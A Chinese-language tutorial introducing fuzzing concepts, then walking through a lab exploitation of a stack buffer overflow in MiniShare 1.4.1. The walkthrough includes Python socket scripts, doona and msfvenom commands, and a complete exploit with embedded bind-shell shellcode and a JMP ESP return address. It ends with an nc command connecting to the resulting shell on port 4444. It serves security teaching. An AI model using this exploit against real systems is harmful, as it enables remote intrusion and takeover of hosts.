在渗透测试当遇目标系统安全防护较为健壮且无任何已知漏洞和设置不当时,我们就进入了困难阶段,其中有不少小伙伴会拿SSL证书、跨域资源共享以及明文传输等相对低危的漏洞填充渗透测试报告了事。而通过 Fuzzing 则可以帮助我们挖掘到 0day 这种高危漏洞来更全面、更细致地对目标进行渗透。
0x01 Fuzzing简介
模糊测试原理
程序接收客户端数据后会对数据进行解析并计算处理数据,最终返回结果。模糊测试(Fuzzing、Fuzz testing)则是一种自动化的软件测试技术,在理想状态下程序接收到的数据都是规范、格式化的数据,Fuzzing 则使用意想不到的、无效的、随机/半随机的输入来发现程序 bug,Fuzzer 通过生成半有效输入并监视程序异常,以便能够发现更深层的逻辑问题。那什么是半有效输入呢?其实就是在测试前筛选掉无效的数据类型并确立目标接收数据的类型。Fuzzing 还有个更为形象的比喻,被称为猴子测试,为什么叫猴子测试呢?程序猿或其他 IT 行业都会对程序存在一个固有思维,而猴子是对电脑完全没有接触的动物,遇到电脑时会一通乱敲,输入没有规律可言,这样能够很好地打破固有思维。
静态测试与模糊测试
模糊测试相比与静态测试更具效率、准确性以及成本优势,这是因为静态测试并不会实际运行程序,在静态分析时如果遇见问题可能实际环境下并不存在,而通过模糊测试发现的问题在实际环境中是绝对存在的。模糊测试的劣势也非常明显,我们通常无法判断测试目标是否出现异常,常见情况是通过目标的反应来判断测试是否成功,而目标一旦出现程序崩溃、内存错误、竞速条件、死锁、内存泄漏等问题时,我们也就无法对其进行判断。所以它通常与程序中的 debugger 协同使用,这样能够更好地发现和分析程序 bug,在历史上有许多著名的漏洞都是通过模糊测试发现的,比如 Shellshock、Heartbleed 等。
模糊测试类型
模糊测试可以被用作白盒、灰盒或黑盒测试,不同的方式能够应用于不同的场景。
白盒:基于代码,优点是代码覆盖全面,而缺点也是由于优点而来,白盒会包含全部程序代码,因此导致输入数据量大、时间长,从而导致效率较低。
灰盒:基于指令,测试人员需要了解协议指令集,通过输入程序可接收的指令进行测试,代码覆盖较为全面,同时效率相对来说也比较高。
黑盒:基于比特,由于不了解程序结构,因此只能使用随机比特进行测试,而指令结构不正确程序会直接拒绝,这就导致该方式只能发现表层漏洞。
基于对象也可以分为以下几种场景
文件格式Fuzzing:播放器、浏览器这类程序只能打开特定格式的文件,对文件格式进行模糊测试可知不同播放器、浏览器对不同格式的文件打开会有不正常的反应并分析内存状态、检查错误信息;
环境变量Fuzzing:程序运行时可能会调用多种环境变量,如编码格式、库文件路径等。对环境变量进行模糊测试分析随机改变环境变量对程序的影响;
内存Fuzzing:程序执行时在特定函数设置断点,不断改变内存值并观察程序行为;
网络协议Fuzzing:网络协议存在头和载荷,向协议头域和载荷部分进行模糊测试并观察程序反应;
Web应用Fuzzing:Web服务一般采用http协议,向Http协议头和载荷部分进行模糊测试并观察程序反应。
用于模糊测试的 Fuzzer 也有以下两种类型。
基于已有数据样本变种生成测试数据;
基于协议语法建模来生成全新的测试数据。
0x02 模糊测试环境
通过缓冲区溢出漏洞可以帮助我们理解什么是 Fuzzing,逐一测试 HTTP 每个指令(OPTION、GET、POST等)以及请求数据测试目标程序是否存在漏洞。
测试软件:minishare 1.4.1,是一个基于 HTTP 协议的文件共享软件。
测试工具:OllyDbg。
minishare下载地址:https://sourceforge.net/projects/minishare/postdownload。
OllyDbg下载地址:https://www.filehorse.com/download-ollydbg/。
缓冲区溢出漏洞详情参考地址:https://www.exploit-db.com/exploits/616。
0x03 模糊测试实例
基于栈的缓冲区溢出最关键的是 EIP 与 ESP 寄存器,以下是关于它们的介绍。
EIP:保存下一条命令在内存中的地址,当前所有命令执行完毕后,执行EIP寄存器所在地址中的命令。执行前系统会将下一条命令的地址保存在EIP寄存器当中。
ESP:保存一个栈帧放入结束地址。
测试步骤
1、确定精确溢出长度(可借助自动化工具)
2、修改EIP、ESP寄存器
3、从模块中寻找 JMP ESP 跳转
4、使用 MSF 生成 shellcode
5、植入 Paylaod 从而获取系统shell
测试过程
安装完成后访问地址出现以下界面说明开启成功。
利用 OllyDbg 调试器的 Attach 功能附加到 MiniShare 进程。
编写 Python 脚本进行测试是否存在溢出漏洞,先尝试向目标发送3000个 A 字符。
#! /usr/bin/python
import socket
target_address = "192.168.0.102"
target_port = 80
buffer = "GET" + " " + "A" * 3000 + " " + "HTTP/1.1\r\n\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((target_address, target_port))
sock.send(buffer)
print("OK")
sock.close()
OllyDbg 中程序暂停同时 EIP 地址显示为41414141
(41代表的就是溢出字符 A 的 ASCII 码),说明目标程序存在溢出漏洞。
由于手工 Fuzz 的工作量巨大且繁琐,我们可使用自动化工具 doona 向目标发送请求以确定精确溢出位置。
doona -m http -t 192.168.0.102 -c 1
查看输入请求内容来确认精确溢出长度范围。
doona -m http -t 192.168.0.102 -d -r 10
经过测试后我们发现如果发送1790个 A 的话 OllyDbg 中 EIP 地址显示为20414141
,从而获取到程序的精确溢出长度:1787。
为了验证溢出长度是否正确,可以发送1787个字符 A 以及4个字符 B,OllyDbg 中 EIP 地址显示为42424242
(其中42代表的就是溢出字符 B 的 ASCII 码),说明溢出长度正确。
然后我们需要确定 ESP 寄存器空间的大小,添加1000个字符 C 再次发送,OllyDbg 中 ESP 寄存器中显示确实包含1000个字符 C,说明我们可输入的 shellcode 有至少1000个字符的空间,而一般情况下 shellcode 小于500个字符。
经过测试发现虽然每次执行后的 EIP 保持不变,但是 ESP 会发生改变,那么如何找到进入 ESP 的地址空间呢?我们可在Executable modules
执行模块中查看 minishare 在运行时调用的动态链接库(推荐查看SHELL32.dll
和USER32.dll
)。
进入SHELL32.dll
并在其中查找JMP ESP
跳转指令,该指令会跳转到 ESP 寄存器当中并帮助我们执行 shellcode。
JMP ESP 跳转地址显示为7548A52C
,同时将 EIP 修改为该地址。需要注意的是由于内存会将低地址放在高位,高地址放在低位,所以在脚本中需要逆向输入该地址。
buffer = "GET " + "A" * 1787 + "\x2C\xA5\x48\x75" + "C" * 8 + " HTTP/1.1\r\n\r\n"
为了判断是否是通过该地址跳转至 ESP 寄存器,可在该地址添加断点。
在 Ollydbg 中勾选Read access
、Write access
、Execution。
执行脚本后 OllyDbg 的 EIP 地址已显示为7548A52C
,按 F7 跳转下一步。
跳转地址显示02F838C4
,而这就是 ESP 寄存器里的地址。说明我们已经可以修改 ESP 寄存器让程序按照我们的意愿执行。
接下来使用 MSF 生成 shellcode,通过-b
参数去除 http 协议当中坏字符。
msfvenom -l //查看所有可生成的 payload,以下payload默认开放端口为4444
msfvenom -p windows/x64/shell_bind_tcp --list-options //查看64位 payload 详情
msfvenom -p windows/x64/shell_bind_tcp -b "\x00\x0a\x0d" -f python //64位
msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d" -f python //32位
将生成的 shellcode 替换以上代码当中的字符 C,但是 EIP 如果与 shellcode 太近会导致前几位字符被忽略的问题,可填充 nop 来避免这一问题,其中 nop 代表空操作,程序遇到 nop 会自动跳过并自动执行之后的第一条指令。
#! /usr/bin/python
import socket
target_address = "192.168.0.102"
target_port = 80
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xbb\x18\xbd\xae\xa0\x62\x14"
buf += b"\xa7\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x47\x50\x3e\x4a\x50\x8a\xd4\xa7\xbb\x18\xfc\xff\xe1"
buf += b"\x32\x46\xf6\xed\x50\x8c\x7c\xc5\x2a\x9f\xf5\xdb\x50"
buf += b"\x36\xfc\xb8\x2a\x9f\xf5\x9b\x50\x36\xdc\xf0\x2a\x1b"
buf += b"\x10\xf1\x52\xf0\x9f\x69\x2a\x25\x67\x17\x24\xdc\xd2"
buf += b"\xa2\x4e\x34\xe6\x7a\xd1\xb0\xef\xa1\xa3\xf6\x4a\xe9"
buf += b"\x59\xec\xe6\x2b\x30\x34\x2c\xf9\x24\xf5\xaf\x70\xe9"
buf += b"\x94\x2f\xbb\x18\xbd\xe6\x25\xa2\x60\xc0\xf3\x19\x6d"
buf += b"\xfe\x2b\x2a\x0c\xe3\x30\x58\x9d\xe7\xa1\xb2\xf7\xf1"
buf += b"\xf3\xe7\x74\xef\x2b\x56\x9c\xef\xba\xce\xf0\x9f\x69"
buf += b"\x2a\x25\x67\x17\x59\x7c\x67\xad\x23\x15\x66\x83\xf8"
buf += b"\xc8\x5f\xec\x61\x58\x83\xb3\x5d\x84\x7f\xd5\xba\x4c"
buf += b"\xe3\x30\x58\x99\xe7\xa1\xb2\x72\xe6\x30\x14\xf5\xea"
buf += b"\x2b\x22\x08\xee\xba\xc8\xfc\x25\xa4\xea\x5c\xa6\x6b"
buf += b"\x59\xe5\xef\xf8\x3c\x4d\xfd\xfa\x40\xfc\xf7\xe1\x38"
buf += b"\x5c\x24\x57\x38\xfc\xfc\x5f\x82\x4c\xe6\xe2\x42\xf5"
buf += b"\x25\xb2\x8b\x43\x58\x44\xe7\xe0\xe7\x1e\x15\x67\x95"
buf += b"\xe4\x2b\x8f\xae\xa0\x23\x42\xee\x32\xfe\xf5\x2f\x4c"
buf += b"\xc2\x15\xa7\xbb\x51\x34\x4b\xe9\xde\x16\xa7\xaa\x44"
buf += b"\xbd\xae\xa0\x62\x55\xf3\xf2\x91\x59\xe2\x29\x93\x55"
buf += b"\x1d\xf7\x6f\x9b\xa9\x5f\xb7\x58\x2e\x51\x70\xbc\xaf"
buf += b"\xa0\x62\x4d\xe6\x01\x31\x3d\xc5\xa0\x9d\xc1\xf7\xeb"
buf += b"\x55\x8c\x67\xed\x53\xd4\xef\x44\xd8\xf5\x27\x62\x2a"
buf += b"\xeb\x67\xf3\x91\x7c\xef\x1a\x88\x1b\x78\x5b\xe7\x68"
buf += b"\xe6\x29\xa5\x7e\xb7\xfa\x40\xf1\x27\x42\x2a\x9d\x5e"
buf += b"\xfa\xa2\x7f\x75\x97\x05\xeb\x72\xf3\x29\x6f\xe6\x29"
buf += b"\x9b\x55\x1d\x0c\xf1\x85\x51\x5f\xb7\x59\x96\x7b\x50"
buf += b"\x8c\x7c\xe8\xeb\xed\xe6\x01\x6c\x51\x95\x41\x9d\xc1"
buf += b"\xef\x32\xe1\xf5\x27\x67\x23\xae\xd2\xd5\x55\xdc\x51"
buf += b"\x75\x2a\x95\x63\x1b\x1a\xbd\xae\xe9\xda\x77\xca\xdf"
buf += b"\x18\xbd\xae\xa0\x62\x55\xf7\xfa\x48\xf5\x27\x42\x35"
buf += b"\x43\xf0\xf6\x29\x7d\xc4\xad\x3b\x55\xf7\x59\xe4\xdb"
buf += b"\x69\xe4\x46\x40\xa6\xba\x50\x30\xea\x84\x7a\xd2\xa7"
buf += b"\xd3\x50\x34\x48\xf6\x32\x55\xf7\xfa\x48\xfc\xfe\xe9"
buf += b"\x9d\xd4\xe6\xeb\x51\x42\x66\xed\xeb\xd5\xeb\x32\xd9"
buf += b"\xfc\x14\xd9\xae\x2b\x21\x44\xcd\xf5\x9f\x72\x2a\xeb"
buf += b"\x6d\x30\x16\xfc\x14\xa8\xe5\x09\xc7\x44\xcd\x06\x5e"
buf += b"\x15\xc0\x42\xe6\x01\xbe\x28\x13\x3d\x9d\xc1\xef\x38"
buf += b"\xdc\x95\x92\xa6\x1e\x1e\x27\x40\xf8\xc8\xab\x1b\x25"
buf += b"\x07\xd5\xd4\x72\xbd\xf7\xe1\xeb\xce\x58\x6e\x18\xbd"
buf += b"\xae\xa0\x62\x14\xa7"
buffer = "GET " + "A" * 1787 + "\x2C\xA5\x48\x75" + "\x90" * 8 + buf + " HTTP/1.1\r\n\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((target_address, target_port))
sock.send(buffer)
print("OK")
sock.close()
执行代码后查看 0llyDbg shellcode 未直接加载,这是因为该漏洞只在 windows XP 下生效,而当前操作系统为 Windows Server 2016。
将目标靶机切换为 Windows XP 后完成以上操作步骤并执行脚本,连接目标 4444 端口可成功获得目标shell。
nc 192.168.0.106 4444